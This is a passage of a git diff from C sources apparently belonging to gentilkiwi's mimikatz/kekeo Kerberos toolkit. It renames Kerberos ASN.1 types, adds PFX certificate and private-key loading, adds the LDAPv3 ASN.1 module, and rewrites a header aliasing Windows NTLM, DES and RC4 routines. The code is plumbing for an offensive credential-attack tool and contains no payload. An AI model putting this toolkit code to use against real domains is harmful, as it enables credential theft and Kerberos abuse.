+ if(CryptAcquireCertificatePrivateKey(certInfo->pCertContext, CRYPT_ACQUIRE_CACHE_FLAG | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? 0 : CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG), NULL, &certInfo->provider.hProv, &certInfo->provider.dwKeySpec, &keyToFree))
+ {
+ status = TRUE;
+ break;
+ }
+ }
+ }
+ else PRINT_ERROR_AUTO(L"PFXImportCertStore");
+
+ if(!status)
+ kull_m_kerberos_asn1_crypto_free_CertInfo(certInfo);
+ return status;
+}
+
void kull_m_kerberos_asn1_crypto_free_CertInfo(PKULL_M_CRYPTO_CERT_INFO certInfo)
{
if(certInfo->pCertContext)
@@ -146,14 +169,14 @@ void kull_m_kerberos_asn1_crypto_CertInfo_descr(PKULL_M_CRYPTO_CERT_INFO certInf
//certInfo->
}
-BOOL kull_m_kerberos_asn1_crypto_simple_message_sign(PKULL_M_CRYPTO_CERT_INFO certInfo, OssBuf *input, _octet1 *output)
+BOOL kull_m_kerberos_asn1_crypto_simple_message_sign(PKULL_M_CRYPTO_CERT_INFO certInfo, OssBuf *input, KULL_M_ASN1__octet1 *output)
{
BOOL status = FALSE;
HCRYPTMSG hCryptMsg;
CERT_BLOB Certificate = {certInfo->pCertContext->cbCertEncoded, certInfo->pCertContext->pbCertEncoded};
CMSG_SIGNER_ENCODE_INFO Signers = {sizeof(CMSG_SIGNER_ENCODE_INFO), certInfo->pCertContext->pCertInfo, certInfo->provider.hProv, certInfo->provider.dwKeySpec, {szOID_OIWSEC_sha1, 0, NULL}, NULL, 0, NULL, 0, NULL};
CMSG_SIGNED_ENCODE_INFO MsgEncodeInfo = {sizeof(CMSG_SIGNED_ENCODE_INFO), 1, &Signers, 1, &Certificate, 0, NULL};
- RtlZeroMemory(output, sizeof(_octet1));
+ RtlZeroMemory(output, sizeof(KULL_M_ASN1__octet1));
if(hCryptMsg = CryptMsgOpenToEncode(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, CMSG_CMS_ENCAPSULATED_CONTENT_FLAG, CMSG_SIGNED, &MsgEncodeInfo, "1.3.6.1.5.2.3.1", NULL))
{
@@ -177,12 +200,12 @@ BOOL kull_m_kerberos_asn1_crypto_simple_message_sign(PKULL_M_CRYPTO_CERT_INFO ce
return status;
}
-BOOL kull_m_kerberos_asn1_crypto_simple_message_dec(PKULL_M_CRYPTO_PROV_INFO provInfo, _octet1 *input, OssBuf *output)
+BOOL kull_m_kerberos_asn1_crypto_simple_message_dec(PKULL_M_CRYPTO_PROV_INFO provInfo, KULL_M_ASN1__octet1 *input, OssBuf *output)
{
BOOL status = FALSE;
HCRYPTMSG hCryptMsg;
CMSG_CTRL_DECRYPT_PARA DecryptParam = {sizeof(CMSG_CTRL_DECRYPT_PARA), provInfo->hProv, provInfo->dwKeySpec, 0};
- _octet1 buffer = {0, NULL};
+ KULL_M_ASN1__octet1 buffer = {0, NULL};
RtlZeroMemory(output, sizeof(OssBuf));
if(hCryptMsg = CryptMsgOpenToDecode(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, 0, 0, NULL, NULL))
@@ -212,7 +235,7 @@ BOOL kull_m_kerberos_asn1_crypto_simple_message_dec(PKULL_M_CRYPTO_PROV_INFO pro
return status;
}
-BOOL kull_m_kerberos_asn1_crypto_simple_message_get(_octet1 *input, OssBuf *output)
+BOOL kull_m_kerberos_asn1_crypto_simple_message_get(KULL_M_ASN1__octet1 *input, OssBuf *output)
{
BOOL status = FALSE;
HCRYPTMSG hCryptMsg2;
@@ -437,7 +460,7 @@ void kull_m_kerberos_asn1_crypto_k_truncate(PVOID input, DWORD cbInput, PVOID ou
}
}
-BOOL kull_m_kerberos_asn1_crypto_octetstring2key(PVOID input, DWORD cbInput, DHNonce *client, DHNonce *server, EncryptionKey *ekey)
+BOOL kull_m_kerberos_asn1_crypto_octetstring2key(PVOID input, DWORD cbInput, KULL_M_ASN1_DHNonce *client, KULL_M_ASN1_DHNonce *server, KULL_M_ASN1_EncryptionKey *ekey)
{
BOOL status = FALSE;
PKERB_ECRYPT pCSystem;
diff --git a/modules/asn1/kull_m_kerberos_asn1_crypto.h b/modules/asn1/kull_m_kerberos_asn1_crypto.h
index 12b6d30..85522a1 100644
--- a/modules/asn1/kull_m_kerberos_asn1_crypto.h
+++ b/modules/asn1/kull_m_kerberos_asn1_crypto.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -13,19 +13,20 @@ typedef struct _KULL_M_KERBEROS_ASN1_CRYPTO_DUAL_STRING_DWORD {
DWORD id;
} KULL_M_KERBEROS_ASN1_CRYPTO_DUAL_STRING_DWORD, *PKULL_M_KERBEROS_ASN1_CRYPTO_DUAL_STRING_DWORD;
-NTSTATUS kull_m_kerberos_asn1_crypto_ekey_create_fromHexString(LPCWSTR key, EncryptionKey *ekey);
-NTSTATUS kull_m_kerberos_asn1_crypto_ekey_create_fromPassword(LPCWSTR w_realm, LPCWSTR w_short_cname, LPCWSTR w_password, EncryptionKey *ekey);
-void kull_m_kerberos_asn1_crypto_ekey_free(EncryptionKey *ekey);
-void kull_m_kerberos_asn1_crypto_ekey_descr(EncryptionKey *ekey);
+NTSTATUS kull_m_kerberos_asn1_crypto_ekey_create_fromHexString(LPCWSTR key, KULL_M_ASN1_EncryptionKey *ekey);
+NTSTATUS kull_m_kerberos_asn1_crypto_ekey_create_fromPassword(LPCWSTR w_realm, LPCWSTR w_short_cname, LPCWSTR w_password, KULL_M_ASN1_EncryptionKey *ekey);
+void kull_m_kerberos_asn1_crypto_ekey_free(KULL_M_ASN1_EncryptionKey *ekey);
+void kull_m_kerberos_asn1_crypto_ekey_descr(KULL_M_ASN1_EncryptionKey *ekey);
-NTSTATUS kull_m_kerberos_asn1_crypto_encrypt(DWORD keyUsage, EncryptionKey *key, OssBuf *in, OssBuf *out, BOOL encrypt);
+NTSTATUS kull_m_kerberos_asn1_crypto_encrypt(DWORD keyUsage, KULL_M_ASN1_EncryptionKey *key, OssBuf *in, OssBuf *out, BOOL encrypt);
BOOL kull_m_kerberos_asn1_crypto_get_CertInfo(PCWSTR Subject, PKULL_M_CRYPTO_CERT_INFO certInfo);
+BOOL kull_m_kerberos_asn1_crypto_get_CertInfo_FromPFX(PCRYPT_DATA_BLOB pBlob, LPCWSTR szPassword, PKULL_M_CRYPTO_CERT_INFO certInfo);
void kull_m_kerberos_asn1_crypto_free_CertInfo(PKULL_M_CRYPTO_CERT_INFO certInfo);
-BOOL kull_m_kerberos_asn1_crypto_simple_message_sign(PKULL_M_CRYPTO_CERT_INFO certInfo, OssBuf *input, _octet1 *output);
-BOOL kull_m_kerberos_asn1_crypto_simple_message_dec(PKULL_M_CRYPTO_PROV_INFO provInfo, _octet1 *input, OssBuf *output);
-BOOL kull_m_kerberos_asn1_crypto_simple_message_get(_octet1 *input, OssBuf *output);
+BOOL kull_m_kerberos_asn1_crypto_simple_message_sign(PKULL_M_CRYPTO_CERT_INFO certInfo, OssBuf *input, KULL_M_ASN1__octet1 *output);
+BOOL kull_m_kerberos_asn1_crypto_simple_message_dec(PKULL_M_CRYPTO_PROV_INFO provInfo, KULL_M_ASN1__octet1 *input, OssBuf *output);
+BOOL kull_m_kerberos_asn1_crypto_simple_message_get(KULL_M_ASN1__octet1 *input, OssBuf *output);
BOOL kull_m_kerberos_asn1_crypto_genericEncode(__in LPCSTR lpszStructType, __in const void *pvStructInfo, __inout PBYTE *pvEncoded, __inout DWORD *pcbEncoded);
BOOL kull_m_kerberos_asn1_crypto_genericDecode(__in LPCSTR lpszStructType, __in_bcount(cbEncoded) const BYTE *pbEncoded, __in DWORD cbEncoded, __out void **ppvStructInfo);
@@ -36,7 +37,7 @@ BOOL kull_m_kerberos_asn1_crypto_get_DHKeyInfo_Parameters(HCRYPTKEY hKey, PCERT_
void kull_m_kerberos_asn1_crypto_free_DHKeyInfo_Parameters(PCERT_X942_DH_PARAMETERS parameters);
void kull_m_kerberos_asn1_crypto_reverseit(PVOID data, DWORD dwData);
void kull_m_kerberos_asn1_crypto_k_truncate(PVOID input, DWORD cbInput, PVOID output, DWORD cbOutput);
-BOOL kull_m_kerberos_asn1_crypto_octetstring2key(PVOID input, DWORD cbInput, DHNonce *client, DHNonce *server, EncryptionKey *ekey);
+BOOL kull_m_kerberos_asn1_crypto_octetstring2key(PVOID input, DWORD cbInput, KULL_M_ASN1_DHNonce *client, KULL_M_ASN1_DHNonce *server, KULL_M_ASN1_EncryptionKey *ekey);
BOOL kull_m_kerberos_asn1_crypto_get_CertFromCA(PCWSTR caname, PCWSTR castore, PCWSTR upn, PCWSTR crldp, PKULL_M_CRYPTO_CERT_INFO certInfo);
void kull_m_kerberos_asn1_crypto_free_CertFromCA(PKULL_M_CRYPTO_CERT_INFO certInfo);
diff --git a/modules/asn1/kull_m_kerberos_asn1_net.c b/modules/asn1/kull_m_kerberos_asn1_net.c
index 70db3d1..5c6c571 100644
--- a/modules/asn1/kull_m_kerberos_asn1_net.c
+++ b/modules/asn1/kull_m_kerberos_asn1_net.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -18,7 +18,7 @@ BOOL kull_m_kerberos_asn1_net_callKdcOssBuf(PKULL_M_SOCK fullsocket, OssBuf *in,
return status;
}
-BOOL kull_m_kerberos_asn1_net_callKadminOssBuf(PKULL_M_SOCK fullsocket, USHORT version, OssBuf *ReqIn, OssBuf *KrbPrivIn, AP_REP **ApRep, KRB_PRIV **KrbPriv)
+BOOL kull_m_kerberos_asn1_net_callKadminOssBuf(PKULL_M_SOCK fullsocket, USHORT version, OssBuf *ReqIn, OssBuf *KrbPrivIn, KULL_M_ASN1_AP_REP **ApRep, KULL_M_ASN1_KRB_PRIV **KrbPriv)
{
BOOL status = FALSE;
PVOID bufferIn, bufferOut;
@@ -41,18 +41,18 @@ BOOL kull_m_kerberos_asn1_net_callKadminOssBuf(PKULL_M_SOCK fullsocket, USHORT v
{
buf.length = _byteswap_ushort(((PWORD) bufferOut)[2]);
buf.value = (PBYTE) bufferOut + 6;
- if(kull_m_kerberos_asn1_helper_util_decodeOrTryKrbError(&buf, AP_REP_PDU, (LPVOID *) ApRep))
+ if(kull_m_kerberos_asn1_helper_util_decodeOrTryKrbError(&buf, KULL_M_ASN1_AP_REP_PDU, (LPVOID *) ApRep))
{
buf.length = sizeOut - 6 - _byteswap_ushort(((PWORD) bufferOut)[2]);
buf.value = (PBYTE) bufferOut + 6 + _byteswap_ushort(((PWORD) bufferOut)[2]);
- status = kull_m_kerberos_asn1_helper_util_decodeOrTryKrbError(&buf, KRB_PRIV_PDU, (LPVOID *) KrbPriv);
+ status = kull_m_kerberos_asn1_helper_util_decodeOrTryKrbError(&buf, KULL_M_ASN1_KRB_PRIV_PDU, (LPVOID *) KrbPriv);
if(!status)
{
if(*KrbPriv)
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_PRIV_PDU, *KrbPriv);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_PRIV_PDU, *KrbPriv);
if(*ApRep)
- ossFreePDU(&kull_m_kerberos_asn1_world, AP_REP_PDU, *ApRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AP_REP_PDU, *ApRep);
}
}
}
@@ -83,7 +83,7 @@ BOOL kull_m_kerberos_asn1_net_SendAndRecv(PKULL_M_SOCK fullsocket, LPCVOID dataI
*dataOutSize = bufferSize - sizeof(DWORD);
if(*dataOut = LocalAlloc(LPTR, *dataOutSize))
{
- RtlCopyMemory(*dataOut, (PBYTE) buffer + sizeof(DWORD), *dataOutSize);
+ RtlCopyMemory(*dataOut, (PBYTE)buffer + sizeof(DWORD), *dataOutSize);
if(!(status = (*dataOutSize == _byteswap_ulong(*(PDWORD) buffer))))
PRINT_ERROR(L"Packet size + 4 != Kerberos Packet Size\n");
@@ -103,11 +103,11 @@ BOOL kull_m_kerberos_asn1_net_SendAndRecv(PKULL_M_SOCK fullsocket, LPCVOID dataI
BOOL kull_m_kerberos_asn1_helper_util_decodeOrTryKrbError(OssBuf *data, int pdu, LPVOID *out)
{
BOOL status = FALSE;
- KRB_ERROR *error = NULL;
+ KULL_M_ASN1_KRB_ERROR *error = NULL;
if(!(status = !ossDecode(&kull_m_kerberos_asn1_world, &pdu, data, out)))
{
- pdu = KRB_ERROR_PDU;
+ pdu = KULL_M_ASN1_KRB_ERROR_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pdu, data, (LPVOID *) &error))
{
kprintf(L"%s (%u) - ", kull_m_kerberos_asn1_helper_util_err_to_string(error->error_code), error->error_code);
diff --git a/modules/asn1/kull_m_kerberos_asn1_net.h b/modules/asn1/kull_m_kerberos_asn1_net.h
index 8d370c1..da05033 100644
--- a/modules/asn1/kull_m_kerberos_asn1_net.h
+++ b/modules/asn1/kull_m_kerberos_asn1_net.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -20,7 +20,7 @@ typedef struct _KULL_M_KERBEROS_ASN1_HELPER_UTIL_ERR{
} KULL_M_KERBEROS_ASN1_HELPER_UTIL_ERR, *PKULL_M_KERBEROS_ASN1_HELPER_UTIL_ERR;
BOOL kull_m_kerberos_asn1_net_callKdcOssBuf(PKULL_M_SOCK fullsocket, OssBuf *in, LPVOID * out, int outPdu);
-BOOL kull_m_kerberos_asn1_net_callKadminOssBuf(PKULL_M_SOCK fullsocket, USHORT version, OssBuf *ReqIn, OssBuf *KrbPrivIn, AP_REP **ApRep, KRB_PRIV **KrbPriv);
+BOOL kull_m_kerberos_asn1_net_callKadminOssBuf(PKULL_M_SOCK fullsocket, USHORT version, OssBuf *ReqIn, OssBuf *KrbPrivIn, KULL_M_ASN1_AP_REP **ApRep, KULL_M_ASN1_KRB_PRIV **KrbPriv);
BOOL kull_m_kerberos_asn1_net_SendAndRecv(PKULL_M_SOCK fullsocket, LPCVOID dataIn, DWORD dataInSize, LPVOID *dataOut, DWORD *dataOutSize);
BOOL kull_m_kerberos_asn1_helper_util_decodeOrTryKrbError(OssBuf *data, int pdu, LPVOID *out);
PCWSTR kull_m_kerberos_asn1_helper_util_err_to_string(DWORD id);
diff --git a/modules/asn1/ldapv3.asn b/modules/asn1/ldapv3.asn
new file mode 100644
index 0000000..a6b8549
--- /dev/null
+++ b/modules/asn1/ldapv3.asn
@@ -0,0 +1,295 @@
+Lightweight-Directory-Access-Protocol-V3 {1 3 6 1 1 18}
+-- Copyright (C) The Internet Society (2006). This version of
+-- this ASN.1 module is part of RFC 4511; see the RFC itself
+-- for full legal notices.
+DEFINITIONS
+IMPLICIT TAGS
+EXTENSIBILITY IMPLIED ::=
+
+BEGIN
+
+LDAPMessage ::= SEQUENCE {
+ messageID MessageID,
+ protocolOp CHOICE {
+ bindRequest BindRequest,
+ bindResponse BindResponse,
+ unbindRequest UnbindRequest,
+ searchRequest SearchRequest,
+ searchResEntry SearchResultEntry,
+ searchResDone SearchResultDone,
+ searchResRef SearchResultReference,
+ modifyRequest ModifyRequest,
+ modifyResponse ModifyResponse,
+ addRequest AddRequest,
+ addResponse AddResponse,
+ delRequest DelRequest,
+ delResponse DelResponse,
+ modDNRequest ModifyDNRequest,
+ modDNResponse ModifyDNResponse,
+ compareRequest CompareRequest,
+ compareResponse CompareResponse,
+ abandonRequest AbandonRequest,
+ extendedReq ExtendedRequest,
+ extendedResp ExtendedResponse,
+ ...,
+ intermediateResponse IntermediateResponse },
+ controls [0] Controls OPTIONAL }
+
+MessageID ::= INTEGER (0 .. maxInt)
+
+maxInt INTEGER ::= 2147483647 -- (2^^31 - 1) --
+
+LDAPString ::= OCTET STRING -- UTF-8 encoded,
+ -- [ISO10646] characters
+
+LDAPOID ::= OCTET STRING -- Constrained to
+ -- [RFC4512]
+
+LDAPDN ::= LDAPString -- Constrained to
+ -- [RFC4514]
+
+RelativeLDAPDN ::= LDAPString -- Constrained to
+ -- [RFC4514]
+
+AttributeDescription ::= LDAPString
+ -- Constrained to
+ -- [RFC4512]
+
+AttributeValue ::= OCTET STRING
+
+AttributeValueAssertion ::= SEQUENCE {
+ attributeDesc AttributeDescription,
+ assertionValue AssertionValue }
+
+AssertionValue ::= OCTET STRING
+
+PartialAttribute ::= SEQUENCE {
+ type AttributeDescription,
+ vals SET OF value AttributeValue }
+
+Attribute ::= PartialAttribute(WITH COMPONENTS {
+ ...,
+ vals (SIZE(1..MAX))})
+
+MatchingRuleId ::= LDAPString
+
+LDAPResult ::= SEQUENCE {
+ resultCode ENUMERATED {
+ success (0),
+ operationsError (1),
+ protocolError (2),
+ timeLimitExceeded (3),
+ sizeLimitExceeded (4),
+ compareFalse (5),
+ compareTrue (6),
+ authMethodNotSupported (7),
+ strongerAuthRequired (8),
+ -- 9 reserved --
+ referral (10),
+ adminLimitExceeded (11),
+ unavailableCriticalExtension (12),
+ confidentialityRequired (13),
+ saslBindInProgress (14),
+
+ noSuchAttribute (16),
+ undefinedAttributeType (17),
+ inappropriateMatching (18),
+ constraintViolation (19),
+ attributeOrValueExists (20),
+ invalidAttributeSyntax (21),
+ -- 22-31 unused --
+ noSuchObject (32),
+ aliasProblem (33),
+ invalidDNSyntax (34),
+ -- 35 reserved for undefined isLeaf --
+ aliasDereferencingProblem (36),
+ -- 37-47 unused --
+ inappropriateAuthentication (48),
+ invalidCredentials (49),
+ insufficientAccessRights (50),
+ busy (51),
+ unavailable (52),
+ unwillingToPerform (53),
+ loopDetect (54),
+ -- 55-63 unused --
+ namingViolation (64),
+ objectClassViolation (65),
+ notAllowedOnNonLeaf (66),
+ notAllowedOnRDN (67),
+ entryAlreadyExists (68),
+ objectClassModsProhibited (69),
+ -- 70 reserved for CLDAP --
+ affectsMultipleDSAs (71),
+ -- 72-79 unused --
+ other (80),
+ ... },
+ matchedDN LDAPDN,
+ diagnosticMessage LDAPString,
+ referral [3] Referral OPTIONAL }
+
+Referral ::= SEQUENCE SIZE (1..MAX) OF uri URI
+
+URI ::= LDAPString -- limited to characters permitted in
+ -- URIs
+
+Controls ::= SEQUENCE OF control Control
+
+Control ::= SEQUENCE {
+ controlType LDAPOID,
+ criticality BOOLEAN DEFAULT FALSE,
+ controlValue OCTET STRING OPTIONAL }
+
+BindRequest ::= [APPLICATION 0] SEQUENCE {
+ version INTEGER (1 .. 127),
+ name LDAPDN,
+ authentication AuthenticationChoice }
+
+AuthenticationChoice ::= CHOICE {
+ simple [0] OCTET STRING,
+ -- 1 and 2 reserved
+ sasl [3] SaslCredentials,
+ sicilyPackageDiscovery [9] OCTET STRING,
+ sicilyNegotiate [10] OCTET STRING,
+ sicilyResponse [11] OCTET STRING,
+ ... }
+
+SaslCredentials ::= SEQUENCE {
+ mechanism LDAPString,
+ credentials OCTET STRING OPTIONAL }
+
+BindResponse ::= [APPLICATION 1] SEQUENCE {
+ COMPONENTS OF LDAPResult,
+ serverSaslCreds [7] OCTET STRING OPTIONAL }
+
+SicilyBindResponse ::= [APPLICATION 1] SEQUENCE {
+ resultCode ENUMERATED {
+ success (0),
+ protocolError (2),
+ adminLimitExceeded (11),
+ inappropriateAuthentication (48),
+ invalidCredentials (49),
+ busy (51),
+ unavailable (52),
+ unwillingToPerform (53),
+ other (80),
+ ... },
+ serverCreds OCTET STRING,
+ errorMessage LDAPString}
+
+UnbindRequest ::= [APPLICATION 2] NULL
+
+SearchRequest ::= [APPLICATION 3] SEQUENCE {
+ baseObject LDAPDN,
+ scope ENUMERATED {
+ baseObject (0),
+ singleLevel (1),
+ wholeSubtree (2),
+ ... },
+ derefAliases ENUMERATED {
+ neverDerefAliases (0),
+ derefInSearching (1),
+ derefFindingBaseObj (2),
+ derefAlways (3) },
+ sizeLimit INTEGER (0 .. maxInt),
+ timeLimit INTEGER (0 .. maxInt),
+ typesOnly BOOLEAN,
+ filter Filter,
+ attributes AttributeSelection }
+
+AttributeSelection ::= SEQUENCE OF selector LDAPString
+ -- The LDAPString is constrained to
+ -- in Section 4.5.1.8
+
+Filter ::= CHOICE {
+ and [0] SET SIZE (1..MAX) OF filter Filter,
+ or [1] SET SIZE (1..MAX) OF filter Filter,
+ not [2] EXPLICIT Filter,
+ equalityMatch [3] AttributeValueAssertion,
+ substrings [4] SubstringFilter,
+ greaterOrEqual [5] AttributeValueAssertion,
+ lessOrEqual [6] AttributeValueAssertion,
+ present [7] AttributeDescription,
+ approxMatch [8] AttributeValueAssertion,
+ extensibleMatch [9] MatchingRuleAssertion,
+ ... }
+
+SubstringFilter ::= SEQUENCE {
+ type AttributeDescription,
+ substrings SEQUENCE SIZE (1..MAX) OF substring CHOICE {
+ initial [0] AssertionValue, -- can occur at most once
+ any [1] AssertionValue,
+ final [2] AssertionValue } -- can occur at most once
+ }
+
+MatchingRuleAssertion ::= SEQUENCE {
+ matchingRule [1] MatchingRuleId OPTIONAL,
+ type [2] AttributeDescription OPTIONAL,
+ matchValue [3] AssertionValue,
+ dnAttributes [4] BOOLEAN DEFAULT FALSE }
+
+SearchResultEntry ::= [APPLICATION 4] SEQUENCE {
+ objectName LDAPDN,
+ attributes PartialAttributeList }
+
+PartialAttributeList ::= SEQUENCE OF
+ partialAttribute PartialAttribute
+
+SearchResultReference ::= [APPLICATION 19] SEQUENCE
+ SIZE (1..MAX) OF uri URI
+
+SearchResultDone ::= [APPLICATION 5] LDAPResult
+
+ModifyRequest ::= [APPLICATION 6] SEQUENCE {
+ object LDAPDN,
+ changes SEQUENCE OF change SEQUENCE {
+ operation ENUMERATED {
+ add (0),
+ delete (1),
+ replace (2),
+ ... },
+ modification PartialAttribute } }
+
+ModifyResponse ::= [APPLICATION 7] LDAPResult
+
+AddRequest ::= [APPLICATION 8] SEQUENCE {
+ entry LDAPDN,
+ attributes AttributeList }
+
+AttributeList ::= SEQUENCE OF attribute Attribute
+
+AddResponse ::= [APPLICATION 9] LDAPResult
+
+DelRequest ::= [APPLICATION 10] LDAPDN
+
+DelResponse ::= [APPLICATION 11] LDAPResult
+
+ModifyDNRequest ::= [APPLICATION 12] SEQUENCE {
+ entry LDAPDN,
+ newrdn RelativeLDAPDN,
+ deleteoldrdn BOOLEAN,
+ newSuperior [0] LDAPDN OPTIONAL }
+
+ModifyDNResponse ::= [APPLICATION 13] LDAPResult
+
+CompareRequest ::= [APPLICATION 14] SEQUENCE {
+ entry LDAPDN,
+ ava AttributeValueAssertion }
+
+CompareResponse ::= [APPLICATION 15] LDAPResult
+
+AbandonRequest ::= [APPLICATION 16] MessageID
+
+ExtendedRequest ::= [APPLICATION 23] SEQUENCE {
+ requestName [0] LDAPOID,
+ requestValue [1] OCTET STRING OPTIONAL }
+
+ExtendedResponse ::= [APPLICATION 24] SEQUENCE {
+ COMPONENTS OF LDAPResult,
+ responseName [10] LDAPOID OPTIONAL,
+ responseValue [11] OCTET STRING OPTIONAL }
+
+IntermediateResponse ::= [APPLICATION 25] SEQUENCE {
+ responseName [0] LDAPOID OPTIONAL,
+ responseValue [1] OCTET STRING OPTIONAL }
+
+END
\ No newline at end of file
diff --git a/modules/kull_m_crypto_system.h b/modules/kull_m_crypto_system.h
index fa8cc90..4ac6ee6 100644
--- a/modules/kull_m_crypto_system.h
+++ b/modules/kull_m_crypto_system.h
@@ -1,206 +1,220 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : https://creativecommons.org/licenses/by/4.0/
-*/
-#pragma once
-#include "globals.h"
-#include "kull_m_string.h"
-
-#define MD4_DIGEST_LENGTH 16
-#define MD5_DIGEST_LENGTH 16
-#define SHA_DIGEST_LENGTH 20
-
-#define DES_KEY_LENGTH 7
-#define DES_BLOCK_LENGTH 8
-#define AES_128_KEY_LENGTH 16
-#define AES_256_KEY_LENGTH 32
-
-#ifndef IPSEC_FLAG_CHECK
-#define IPSEC_FLAG_CHECK 0xf42a19b6
-#endif
-
-typedef struct _MD4_CTX {
- DWORD state[4];
- DWORD count[2];
- BYTE buffer[64];
- BYTE digest[MD4_DIGEST_LENGTH];
-} MD4_CTX, *PMD4_CTX;
-
-typedef struct _MD5_CTX {
- DWORD count[2];
- DWORD state[4];
- BYTE buffer[64];
- BYTE digest[MD5_DIGEST_LENGTH];
-} MD5_CTX, *PMD5_CTX;
-
-typedef struct _SHA_CTX {
- BYTE buffer[64];
- DWORD state[5];
- DWORD count[2];
- DWORD unk[6]; // to avoid error on XP
-} SHA_CTX, *PSHA_CTX;
-
-typedef struct _SHA_DIGEST {
- BYTE digest[SHA_DIGEST_LENGTH];
-} SHA_DIGEST, *PSHA_DIGEST;
-
-typedef struct _CRYPTO_BUFFER {
- DWORD Length;
- DWORD MaximumLength;
- PBYTE Buffer;
-} CRYPTO_BUFFER, *PCRYPTO_BUFFER;
-typedef CONST CRYPTO_BUFFER *PCCRYPTO_BUFFER;
-
-extern VOID WINAPI MD4Init(PMD4_CTX pCtx);
-extern VOID WINAPI MD4Update(PMD4_CTX pCtx, LPCVOID data, DWORD cbData);
-extern VOID WINAPI MD4Final(PMD4_CTX pCtx);
-
-extern VOID WINAPI MD5Init(PMD5_CTX pCtx);
-extern VOID WINAPI MD5Update(PMD5_CTX pCtx, LPCVOID data, DWORD cbData);
-extern VOID WINAPI MD5Final(PMD5_CTX pCtx);
-
-extern VOID WINAPI A_SHAInit(PSHA_CTX pCtx);
-extern VOID WINAPI A_SHAUpdate(PSHA_CTX pCtx, LPCVOID data, DWORD cbData);
-extern VOID WINAPI A_SHAFinal(PSHA_CTX pCtx, PSHA_DIGEST pDigest);
-
-#define RtlEncryptDES1block1key SystemFunction001
-#define RtlDecryptDES1block1key SystemFunction002
-#define RtlEncryptDESMagicBlock1key SystemFunction003
-#define RtlEncryptDESblocksECB SystemFunction004
-#define RtlDecryptDESblocksECB SystemFunction005
-#define RtlDigestLM SystemFunction006
-#define RtlDigestNTLM SystemFunction007
-#define RtlLMResponseToChallenge SystemFunction008
-// = SystemFunction009 (SystemFunction008 - RtlLMResponseToChallenge)
-#define RtlDigestMD4only16Bytes SystemFunction010
-// = SystemFunction011 (SystemFunction010 - RtlDigest16BytesMD4)
-#define RtlEncryptDES2blocks2keys SystemFunction012
-#define RtlDecryptDES2blocks2keys SystemFunction013
-// = SystemFunction014 (SystemFunction012 - RtlEncryptDES2blocks2keys)
-// = SystemFunction015 (SystemFunction013 - RtlDecryptDES2blocks2keys)
-#define RtlEncryptDES2blocks1key SystemFunction016
-#define RtlDecryptDES2blocks1key SystemFunction017
-// = SystemFunction018 (SystemFunction016 - RtlEncryptDES2blocks1key)
-// = SystemFunction019 (SystemFunction017 - RtlDecryptDES2blocks1key)
-// = SystemFunction020 (SystemFunction012 - RtlEncryptDES2blocks2keys)
-// = SystemFunction021 (SystemFunction013 - RtlDecryptDES2blocks2keys)
-// = SystemFunction022 (SystemFunction012 - RtlEncryptDES2blocks2keys)
-// = SystemFunction023 (SystemFunction013 - RtlDecryptDES2blocks2keys)
-#define RtlEncryptDES2blocks1DWORD SystemFunction024
-#define RtlDecryptDES2blocks1DWORD SystemFunction025
-// = SystemFunction026 (SystemFunction024 - RtlEncryptDES2blocks1DWORD)
-// = SystemFunction027 (SystemFunction025 - RtlDecryptDES2blocks1DWORD)
-// ? Session Key through RPC SystemFunction028
-// ? Session Key through RPC SystemFunction029
-#define RtlEqualMemory16Bytes SystemFunction030
-// = SystemFunction031 (SystemFunction030 - RtlEqualMemory16Bytes)
-#define RtlEncryptDecryptRC4 SystemFunction032
-// = SystemFunction033 (SystemFunction032 - RtlEncryptDecryptARC4)
-// ? Session Key through RPC SystemFunction034
-#define RtlCheckSignatureInFile SystemFunction035
-
-extern NTSTATUS WINAPI RtlEncryptDES1block1key(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlDecryptDES1block1key(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlEncryptDESMagicBlock1key(IN LPCBYTE key, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlEncryptDESblocksECB(IN PCCRYPTO_BUFFER data, IN PCCRYPTO_BUFFER key, OUT PCRYPTO_BUFFER output);
-extern NTSTATUS WINAPI RtlDecryptDESblocksECB(IN PCCRYPTO_BUFFER data, IN PCCRYPTO_BUFFER key, OUT PCRYPTO_BUFFER output);
-extern NTSTATUS WINAPI RtlDigestLM(IN LPCSTR data, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlDigestNTLM(IN PCUNICODE_STRING data, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlLMResponseToChallenge(IN LPCBYTE challenge, IN LPCBYTE hash, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlDigestMD4only16Bytes(IN LPVOID unk0, IN LPCBYTE data, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlEncryptDES2blocks2keys(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlDecryptDES2blocks2keys(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlEncryptDES2blocks1key(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
